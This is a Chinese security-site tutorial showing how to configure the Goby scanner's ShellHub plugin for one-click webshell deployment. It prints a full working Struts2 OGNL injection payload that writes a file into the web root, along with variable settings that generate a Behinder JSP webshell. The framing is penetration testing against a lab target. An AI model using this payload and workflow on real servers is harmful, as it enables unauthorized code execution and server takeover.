freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

上线利器 - ShellHub 插件初体验
GobySec 2021-12-09 17:19:45 256597
所属地 北京

前言: 渗透测试过程中发现存在文件上传漏洞时,我们往往会尝试通过上传木马文件获取一个 webshell。上传的木马文件通常需要一个客户端例如冰蝎和蚁剑进行 shell 的获取及管理,在这一过程中用户需要打开管理工具并填写连接信息如上传文件的 url、连接密码等。然而,Goby 中 ShellHub 的出现可以使这个过程一键优雅的实现,只需点击 webshell 键即可弹出 webshell 控制窗口。

0×01 插件安装

ShellHub 已支持在 Goby 最新版插件扩展模块中一键下载安装。

下载完 ShellHub 插件后即可在 PoC 页面定义相关的漏洞一键 webshell。

0×02 插件使用

本次选取 cve_2016_0785-Strtus2 远程代码执行漏洞获取 webshell 作为 PoC 演示。
1.在漏洞模块新建 PoC, 填写名称匹配规则和描述等基本信息:

2.在漏洞扫描检测页面设置 HTTP 请求方法为 POST。


在 Content-Type 字段中填入本次漏洞利用的 payload,在漏洞测试环节中 name 和 file 变量暂时用不上。

payload:

%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#req=(@org.apache.struts2.ServletActionContext@getRequest())).
(#path1=#req.getRealPath('/')).(#sb=(new java.lang.StringBuilder(#path1))).
(#path=#sb.append('/{{{name}}}')).(#shell='{{{file}}}').(#file=new java.io.File(#path)).(#fw=new java.io.FileWriter(#file)).(#fw.write(#shell)).
(#fw.flush()).(#fw.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getWriter())).
(#ros.print('UPLO')).(#ros.println('AD-OK')).(#ros.flush())}

3.在 Payload 中实现一个功能:打印出 UPLOAD-OK 字符串,作为漏洞是否利用成功的依据。

4.在攻击测试页面中定义 3 个变量,其中前两个变量 name(为随机生成的 8 位冰蝎马前缀 +.jsp 后缀构成冰蝎马相对路径),file 变量表示写入的木马文件内容。payload用上面测试的即可,上述变量会被引用至 payload 中。

变量详情:

name|rand|str|8

//生成8位随机字符

name|name|concat|.jsp

//前面生成的字符加上后缀构成木马相对路径

file|genshell|exp|B:jsp

// file 代表变量名,可随意指定,该变量实际是一个数组,在http请求头中或请求体时,其值为一个形如<?php echo md5(随机值);unlink(__FILE__);?>; exp 代表上传一个 webshell;B:jsp 代表生成冰蝎的 jsp 马,同理还有 G:jspRaw 代表哥斯拉的 raw 类型的 jsp 马

5.设置漏洞利用成功标识-响应包中含有 UPLOAD-OK 字符串,设置 EXP 返回信息,包含:webshell 地址,webshell 连接密码,webshell 连接工具即可。

6.在 vulfocus.fofa.so 页面下快速启动一个用来测试的漏洞环境。

将存在漏洞的 url 导入,进行漏洞扫描和利用测试。

扫描验证成功后点击 webshell 即可一键获取 webshell。

0×03 插件亮点

1.该 Goby 插件在对同一种类型漏洞获取 webshell 的利用方式 PoC 进行定义后,即可实现发现漏洞后一键 webshell。整个过程行云流水,将发现漏洞 -> 文件上传写入木马 -> 连接 webshell 客户端一系列流程进行融合简化为一键式操作。将渗透测试获取 webshell 的流程在 Goby 一款工具上进行打通,大大提高了漏洞发现和利用的效率。

2.支持自定义各类获取 webshell 的 PoC, PoC 编写浅显易懂大部分 payload 取自手动测试时所用的 payload 并再此基础上进行修改最终实现想要的功能。例如在代码执行的漏洞中利用代码执行写入 jsp 木马文件,PoC 一次编写可供多次使用。

PoC 中检测漏洞利用是否成功的方式也很简单。例如判断响应包中是否存在唯一标识符等,也可以增加多个测试来保证漏洞的可靠性。笔者本次只校验了返回包中是否存在 UPLOAD-OK 字符串来判断漏洞是否利用成功。


3.支持多语言木马的上传。支持包括 JSPX、JSP、PHP、ASPX、ASP 冰蝎马的写入和一键实现获取 webshell, 语言覆盖面广。

4.目前该插件目前支持基本信息、文件管理、虚拟终端三大模块的 webShell 功能点,功能模块简洁明了。

0×04 插件不足

1.目前只支持冰蝎的木马,期待蚁剑、哥斯拉木马的支持。使得用户在木马的使用上多几种选择。

2.webshell 支持的功能点可以扩充多一点,增加常用的功能模块如可以考虑集成常用命令,渗透工具等。

3.可以考虑附带常见用来获取 webShell 的 PoC,提升使用者使用效率等。

文章来自Goby社区成员:mybad,转载请注明出处。
下载Goby内测版,请关注公众号:Gobysec
下载Goby正式版,请访问官网:http://gobies.org

# webshell # Goby
本文为 GobySec 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
GobySec
GobySec LV.6
Goby作为一款新型网络安全测试工具,能够为目标企业梳理最为全面的攻击面信息。它不仅可以开展高效且实战性强的漏洞扫描工作,还能迅速从一个验证入口点实现横向切换。此外,Goby拥有超强的AI功能,能够高效率地转化PoC(概念验证)/EXP(利用验证)。 goby官网:https://gobysec.net/
  • 67 文章数
  • 117 关注者
Goby自定义编写EXP进阶篇:以SQL注入为例的高阶变量用法讲解
2024-12-27
Goby 漏洞发布|CVE-2024-9047 WordPress File Upload 插件 wfu_file_downloader.php 任意文件读取漏洞
2024-12-25
Goby自定义编写EXP入门篇:编写模板基础使用讲解
2024-12-20
文章目录